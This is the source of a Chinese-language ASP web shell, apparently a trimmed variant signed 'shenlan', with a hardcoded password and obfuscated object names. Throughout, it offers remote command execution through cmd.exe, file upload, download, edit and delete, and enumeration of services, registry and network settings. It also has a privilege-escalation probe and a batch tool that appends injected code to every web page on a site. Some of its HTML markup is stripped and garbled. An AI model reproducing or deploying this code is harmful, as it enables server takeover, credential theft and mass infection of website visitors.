<% Server.ScriptTimeout=999999999 Response.Buffer =true On Error Resume Next UserPass = "test" SessionName = "shenlan" sub ShowErr() If Err Then RRs"

" & Err.Description & "

" Err.Clear:Response.Flush End If end sub Sub RRS(str) response.write(str) End Sub Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function URL=Request.ServerVariables("URL") ServerIP=Request.ServerVariables("LOCAL_ADDR") Action=Request("Action") RootPath=Server.MapPath(".") WWWRoot=Server.MapPath("/") serveru=request.servervariables("http_host")&url serverp=userpass FolderPath=Request("FolderPath") FName=Request("FName") BackUrl="

返回
" RRs"" RRs""&ServerIP&"" RRs"" RRs"" rrs "" Dim ObT(13,1) ObT(0,0) = "Scripti"&"n"&"g.FileSys"&"temObje"&"ct" ObT(1,0) = "wscr"&"ipt.sh"&"ell" ObT(2,0) = "ADOX.C"&"atalog" ObT(3,0) = "JRO.JetEngine" ObT(4,0) = "Scri"&"pting.Dic"&"tionary" ObT(5,0) = "Adod"&"b.connect"&"ion" ObT(6,0) = "Adodb"&".Stream" ObT(7,0) = "Soft"&"Artisans.FileUp" ObT(8,0) = "LyfUplo"&"ad.Upl"&"oadFile" ObT(9,0) = "Pers"&"its.Upload.1" ObT(10,0) = "JM"&"ail.SmtpM"&"ail" ObT(11,0) = "CDON"&"TS.NewM"&"ail" ObT(12,0) = "SmtpMa"&"il.Sm"&"tpMail.1" ObT(13,0) = "Micr"&"osoft.X"&"MLHTTP" For i=0 To 13 Set T=Server.CreateObject(ObT(i,0)) If -2147221005 <> Err Then IsObj=" √" Else IsObj=" ×" Err.Clear End If Set T=Nothing ObT(i,1)=IsObj Next If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath) End If If Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPath End if Function MainForm() RRS "
" RRS "" RRS "" RRS "
" RRs"『程序』" RRs"『程序:D』" RRs"『C:\\Docume~1』" RRs"『开始程序』" RRs"『桌面』" RRs"『Temp』" RRs"『wmpub』" RRs"『RECYCLER』" RRs"『RECYCLER:D』" RRs"『Config』" RRs"『Everyone』" RRs"『Everyone(2)』" RRs"『Serv-u』" RRs"『Serv-u(2)』" RRs"『Mysql』" RRs"『Mssql』" RRs"『RealSever』" RRs"『php』『" RRs"『prel』" RRs"『PcAnywhere』" RRS "" RRS "" RRS "" RRS "" RRS "
" RRS "" RRS "" RRS "
地址栏:" RRS "" RRS " " RRS "
" RRS "" RRS "" RRS "
shenlan.精简修改
" End Function Function MainMenu() RRs""&ServerIP&"" RRs"" End Function Function fuck() On Error Resume Next dim wsh set wsh=createobject("Ws"&"cr"&"ipt.S"&"he"&"ll") SoftPath=Wsh.Environment.item("Path") Pathinfo=lcase(SoftPath) Response.Write"
  • 系统软件支持:
    " Response.Write"-----------------------------
    " if Instr(Pathinfo,"perl") Then Response.Write "
  • Perl脚本:支持
    " if instr(Pathinfo,"java") Then Response.Write "
  • Java脚本:支持
    " if instr(Pathinfo,"microsoft sql server") Then Response.Write "
  • MSSQL数据库服务:支持
    " if instr(Pathinfo,"mysql") Then Response.Write "
  • MySQL数据库服务:支持
    " if instr(Pathinfo,"oracle") Then Response.Write "
  • Oracle数据库服务:支持
    " if instr(Pathinfo,"cfusionmx7") Then Response.Write "
  • CFM服务器:支持
    " if instr(Pathinfo,"pcanywhere") Then Response.Write "
  • 赛门铁克PcAnywhere控制:支持
    " if instr(Pathinfo,"Kill") Then Response.Write "
  • Kill杀毒软件:支持
    " if instr(Pathinfo,"kav") Then Response.Write "
  • 金山系列杀毒软件:支持
    " if instr(Pathinfo,"antivirus") Then Response.Write "
  • 赛门铁克杀毒软件:支持
    " if instr(Pathinfo,"rising") Then Response.Write "
  • 瑞星系列杀毒软件:支持
    " paths=split(SoftPath,";") Response.Write "------------------------------------
    " Response.Write "系统当前路径变量:
    " For i=Lbound(paths) to Ubound(paths) Response.Write "
  • "&paths(i)&"
    " next end Function function gody() Response.write "[服务器弱点探测]

    " For Each objService In getObject("WinNT://.") if objService.Name="Serv-U" Then if objService.ServiceAccountName="LocalSystem" Then Response.Write "
  • 服务器中有Serv-U安装,且以LocalSystem权限启动,可以考虑提权
    " End if End if if lcase(objService.Name)="apache2.2" or lcase(objService.Name)="apache" Then if objService.ServiceAccountName="LocalSystem" Then If instr(Request.ServerVariables("SERVER_SOFTWARE"),"Apache") Then Response.Write "
  • 当前WEB服务器为Apache.可以直接提权
    " Else Response.Write "
  • 服务器中有Apache服务存在,启动权限为LocalSystem,可以考虑PHP木马
    " End if end if End if if instr(lcase(objService.Name),"tomcat") Then if objService.ServiceAccountName="LocalSystem" Then Response.Write "
  • 服务器中有Tomcat,且以LocalSystem权限启动,可以考虑使用Jsp木马提权
    " End if End if if instr(lcase(objService.Name),"winmail") Then if objService.ServiceAccountName="LocalSystem" Then Response.Write "
  • 服务器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMail目录,并且写入PHP木马
    " End if End if Next Set fso=Server.Createobject("Scr"&"ipti"&"ng.Fi"&"leSyste"&"mO"&"bject") set wsh=Server.CreateObject("Wsc"&"ri"&"pt.s"&"hel"&"l") Sysdrive=left(Fso.GetspecialFolder(2),2) sys=left(Fso.GetspecialFolder(0),2) a=my servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\pcAnywhere\"&servername&".cif") Then Response.Write "
  • 发现pcAnywhere密码文件,可以从默认目录下载并破解得到pcAnywhere密码" End if if fso.fileExists(sys&"\windows\"&a&".ini") or fso.fileExists(sys&"\winnt\"&a&".ini") Then Response.Write "
  • 发现my.ini文件,可以试试查找Mysql密码,进行mysql提权." End if end function Function fuck() on error resume next dim wsh set wsh=createobject("Ws"&"cr"&"ipt"&".She"&"ll") Response.Write "[网络探测]

    " EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" isEnable=Wsh.Regread(EnableTcpipKey) If isEnable=0 or isEnable="" Then Notcpipfilter=1 End If ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" Apds=Wsh.RegRead(ApdKey) If IsArray(Apds) Then For i=LBound(Apds) To UBound(Apds)-1 ApdB=Replace(Apds(i),"\Device\","") Response.Write "网卡"&i&"的序列为:"&ApdB&"
    " Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" 'IP地址探测 IPKey=Path&ApdB&"\IPAddress" IPaddr=Wsh.Regread(IPKey) If IPaddr(0)<>"" Then For j=Lbound(IPAddr) to Ubound(IPAddr) Response.Write "
  • IP地址"&j&"为:"&IPAddr(j)&"
    " Next Else Response.Write "
  • IP地址无法读取或没有设置
    " End if '网关设置探测 GateWayKey=Path&ApdB&"\DefaultGateway" GateWay=Wsh.Regread(GateWayKey) If isarray(GateWay) Then For j=Lbound(Gateway) to Ubound(Gateway) Response.Write "
  • 网关"&j&"为:"&Gateway(j)&"
    " Next Else Response.Write "
  • 默认网关无法读取或没有设置
    " End if 'DNS设置探测 DNSKey=Path&ApdB&"\NameServer" DNSstr=Wsh.RegRead(DNSKey) If DNSstr<>"" Then Response.Write "
  • 网卡DNS为:"&DNSstr&"
    " Else Response.Write "
  • 默认DNS无法读取或没有设置
    " End If 'TCP/IP筛选探测 if Notcpipfilter=1 Then Response.Write "
  • 没有Tcp/IP筛选
    " else ETK="\TCPAllowedPorts" EUK="\UDPAllowedPorts" FullTCP=Path&ApdB&ETK FullUDP=path&ApdB&EUK tcpallow=Wsh.RegRead(FullTCP) If tcpallow(0)="" or tcpallow(0)=0 Then Response.Write "
  • 允许的TCP端口为:全部
    " Else Response.Write "
  • 允许的TCP端口为:" For j = LBound(tcpallow) To UBound(tcpallow) Response.Write tcpallow(j)&"," Next Response.Write "
    " End if udpallow=Wsh.RegRead(FullUDP) If udpallow(0)="" or udpallow(0)=0 Then Response.Write "
  • 允许的UDP端口为:全部
    " Else Response.Write "
  • 允许的UDP端口为:" for j = LBound(udpallow) To UBound(udpallow) Response.Write UDPallow(j)&"," next Response.Write "
    " End if End if Next end if Response.Write "------------------------------------


    " end Function Sub unPack(thePath) On Error Resume Next Server.ScriptTimeOut = 5000 Dim rs, ws, str, conn, stream, connStr, theFolder str = Server.MapPath(".") & "\" Set rs = CreateObject("A"&"DODB."&"Reco"&"rdSet") Set stream = CreateObject("ADOD"&"B."&"St"&"ream") Set conn = CreateObject("ADO"&"DB.Con"&"nection") connStr = "Provider="&"Microsoft.Jet.OLEDB.4."&"0;Data S"&"ource=" & thePath & ";" conn.Open connStr rs.Open "FileData", conn, 1, 1 stream.Open stream.Type = 1 Do Until rs.Eof theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) If fsoX.FolderExists(str & theFolder) = False Then createFolder(str & theFolder) End If stream.SetEos() stream.Write rs("fileContent") stream.SaveToFile str & rs("thePath"), 2 rs.MoveNext Loop rs.Close conn.Close stream.Close Set ws = Nothing Set rs = Nothing Set stream = Nothing Set conn = Nothing End Sub Sub createFolder(thePath) Dim i i = Instr(thePath, "\") Do While i > 0 If fsoX.FolderExists(Left(thePath, i)) = False Then fsoX.CreateFolder(Left(thePath, i - 1)) End If If InStr(Mid(thePath, i + 1), "\") Then i = i + Instr(Mid(thePath, i + 1), "\") Else i = 0 End If Loop End Sub Sub saTreeForMdb(thePath, rs, stream) Dim item, theFolder, sysFileList sysFileList = "$HYTop.mdb$HYTop.ldb$" Set theFolder = saX.NameSpace(thePath) For Each item In theFolder.Items If item.IsFolder = True Then saTreeForMdb item.Path, rs, stream Else If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(item.Path, 4) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If End If Next Set theFolder = Nothing End Sub Function Course() SI="
    " SI=SI&"" on error resume next for each obj in getObject("WinNT://.") err.clear if OBJ.StartType="" then SI=SI&"" SI=SI&"" SI0="" end if if OBJ.StartType=2 then lx="自动" if OBJ.StartType=3 then lx="手动" if OBJ.StartType=4 then lx="禁用" if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then SI1=SI1&"" else SI2=SI2&"" end if next RRS SI&SI0&SI1&SI2&"
    系统用户与服务
    " SI=SI&obj.Name SI=SI&" " SI=SI&"系统用户(组)" SI=SI&"
    "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    " End Function Function ServerInfo() SI="
    " SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" For i=0 To 13 SI=SI&"" Next RRS SI End Function Function DownFile(Path) Response.Clear Set OSM = CreateObject(ObT(6,0)) OSM.Open OSM.Type = 1 OSM.LoadFromFile Path sz=InstrRev(path,"\")+1 Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz) Response.AddHeader "Content-Length", OSM.Size Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite OSM.Read Response.Flush OSM.Close Set OSM = Nothing End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Function UpFile() If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then SI="
    请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then SI="



    文件"&UName&"上传成功!
    " End if End If Set F=nothing:Set U=nothing SI=SI&BackUrl RRS SI ShowErr() Response.End End If SI="


    服务器组件信息
    服务器名"&request.serverVariables("SERVER_NAME")&"
    服务器IP" SI=SI&"
    服务器时间"&now&"
    服务器CPU数量"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
    服务器操作系统"&Request.ServerVariables("OS")&"
    WEB服务器版本"&Request.ServerVariables("SERVER_SOFTWARE")&"
    "&ObT(i,0)&""&ObT(i,1)&"
    " SI=SI&"" SI=SI&"
    " SI=SI&"上传路径:" SI=SI&" " SI=SI&" " SI=SI&"
    " RRS SI End Function function cmd1shell() on error resume next if request("sp")<>"" then session("shellpath") = request("sp") shellpath=session("shellpath") if shellpath="" then shellpath = "cmd.exe" if request("cmd")<>"" then session("defcmd") = request("cmd") defcmd=session("defcmd") if defcmd="" then defcmd="set" if request("rwpath")<>"" then session("rwpath") = request("rwpath") rwpath=session("rwpath") if rwpath="" then rwpath=server.mappath(".") si="
    " rp1=" 可读写目录(用于回显)
    " si=si&"" si=si&rp1&"wscript"" checked>wscript" si=si&rp1&"wscript.shell"">wscript.shell" si=si&rp1&"wscript.shell.1"">wscript.shell.1" si=si&rp1&"shell.application"">shell.application" si=si&rp1&"shell.application.1"">shell.application.1" si=si&" " set fso=server.createobject("scripting.filesystemobject") sztempfile = rwpath&"\cmd.txt" select case request("cmdtype") case "wscript" set cm=server.createobject("wscript.shell") set dd=cm.exec(shellpath&" /c "&defcmd) aaa=dd.stdout.readall si=si&"" si=si&aaa si=si&chr(13)&"
    " case "wscript.shell","wscript.shell.1" on error resume next set ws=server.createobject(request("cmdtype")) call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true) set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0) aaa=server.htmlencode(ofilelcx.readall) ofilelcx.close call fso.deletefile(sztempfile, true) si=si&"" si=si&aaa si=si&chr(13)&"" case "shell.application","shell.application.1" set seshell=server.createobject(request("cmdtype")) seshell.ShellExecute shellpath," /c " & defcmd & " > " & sztempfile,"","open",0 si=si&"" If ex<>"" AND pth<>"" Then select Case ex Case "edit" CALL file_show(pth) Case "save" CALL file_save(pth) End select Else RRS("
    ") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("
    要挂马的文件夹 (绝对路径):
    要挂马的代码:
    ") End If Function IsPattern(patt,str) Set regEx=New RegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) Set regEx=Nothing If retVal=True Then IsPattern=True Else IsPattern=False End If End Function if request.form("submit")<>"" then If s="" or addcode="" Then RRS "请输入挂马的路径或代码!" response.end else If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then sch s End If end if Sub sch(s) oN eRrOr rEsUmE nExT Set fs=Server.createObject("Script"&"ing.FileS"&"ystemOb"&"ject") Set fd=fs.GetFolder(s) Set fi=fd.Files Set sf=fd.SubFolders For Each f in fi rtn=f.path step_all rtn Next If sf.Count<>0 Then For Each l In sf sch l Next End If End Sub Sub step_all(agr) retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr) If retVal Then step1 agr step2 agr Else Exit Sub End If End Sub Sub step1(str1) RRS "
    √ "&str1&" _" RRs "Down " RRS "edit " RRS "Del " RRS "Copy " RRS "Move
    " End Sub Sub step2(str2) Set fs=Server.createObject("Scrip"&"ting.Fi"&"leSystem"&"Object") isExist=fs.FileExists(str2) If isExist Then Set f=fs.GetFile(str2) Set f_addcode=f.OpenAsTextStream(8,-2) f_addcode.Write addcode f_addcode.Close Set f=Nothing End If Set fs=Nothing End Sub Err.Clear Case "Cplgm" Fpath=Request("fd") addcode = Request("code") addcode2 = Request("code2") pcfile=request("pcfile") checkbox=request("checkbox") ShowMsg=request("ShowMsg") FType=request("FType") M=request("M") if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" if Fpath="\" then Fpath=Server.MapPath("\") if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") if addcode="" then addcode="" if checkbox="" then checkbox=request("checkbox") if pcfile="" then pcfileName=Request.ServerVariables("SCRIPT_NAME") pcfilek=split(pcfileName,"/") pcfilen=ubound(pcfilek) pcfile=pcfilek(pcfilen) end if RRS ("网站根目录- "&Server.MapPath("/")&"
    ") RRS ("本程序目录- "&Server.MapPath(".")) RRS "
    [" if M="1" then RRs"批量挂马器-批量挂马" if M="2" then RRs"批量清马器-清除别人的网马" if M="3" then RRs"批量替换器-文件替换修改工具" if M="" then response.end RRS "]
    " RRS "" if M="1" then RRS "" RRS "" RRS "" RRS "" RRS "" if M="3" then RRS "" RRS "" RRS "
    文件路径: 填“\”即网站根目录;“.”为程序所在目录
    过滤重复: 防止一个页面中有多个重复的代码
    排除文件: 输入不想被修改的文件名,例如:1.asp|2.asp|3.asp
    文件类型: 输入要修改的文件类型[扩展名],例如:htm|html|asp|php|jsp|aspx|cgi
    " if M="1" then RRs"要挂的马:" if M="2" then RRs"要清的马:" if M="3" then RRs"查找内容:" RRs"
    替 换 为:
    --标记解释--[成功:√ , 排除:× , 重复:×]
    " if request("submit")="开始执行" then RRs"
    执行记录:
    " call InsertAllFiles(Fpath,addcode,pcfile) RRs"
    " end if Sub InsertAllFiles(Wpath,Wcode,pc) Server.ScriptTimeout=999999999 if right(Wpath,1)<>"\" then Wpath=Wpath &"\" Set WFSO = CreateObject("Script"&"ing.F"&"ileSys"&"temOb"&"ject") on error resume next Set f = WFSO.GetFolder(Wpath) Set fc2 = f.files For Each myfile in fc2 Set FS1 = CreateObject("Sc"&"riptin"&"g.FileS"&"y"&"stemObject") FType1=split(myfile.name,".") FType2=ubound(FType1) if Ftype2>0 then FType3=LCase(FType1(FType2)) else FType3="无" end if if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then select case M case "1" if checkbox<>"checked" then Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) tfile.writeline Wcode RRs"√ "&Wpath&myfile.name tfile.close else Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) if Instr(tfile1.readall,Wcode)=0 then Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) tfile.writeline Wcode RRs"√ "&Wpath&myfile.name tfile1.close else RRs"× "&Wpath&myfile.name tfile1.close end if Set tfile1=Nothing end if case "2" Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) NewCode=Replace(tfile1.readall,Wcode,"") Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) objCountFile.Write NewCode objCountFile.Close RRs"√ "&Wpath&myfile.name Set objCountFile=Nothing case "3" Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) NewCode=Replace(tfile1.readall,Wcode,addCode2) Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) objCountFile.Write NewCode objCountFile.Close RRs"√ "&Wpath&myfile.name Set objCountFile=Nothing case else RRs"大哥,别乱来.":response.end end select else RRs"× "&Wpath&myfile.name end if RRS " Down " RRS "edit " RRS "Del " RRS "Copy " RRS "Move
    " Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers NewPath=Wpath&""&f1.name InsertAllFiles NewPath,Wcode,pc Next set tfile=nothing Set FSO = Nothing set tfile=nothing set tfile2=nothing Set WFSO = Nothing End Sub Case "ReadREG":call ReadREG() Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing Case "DownFile":DownFile FName:ShowErr() Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing Case "UpFile":UpFile() Case "Cmd1Shell":Cmd1Shell() case "SetFileText":SetFileText() case "adminab":adminab() Case "suftp":suftp() Case "Logout":Session.Contents.Remove(SessionName):Response.Redirect URL Case "DbManager":DbManager() Case "fuck":fuck() Case "gody":gody() Case "Course":Course() Case "ServerInfo":ServerInfo() Case Else MainForm() End Select if Action<>"Servu" then ShowErr() RRs"" %>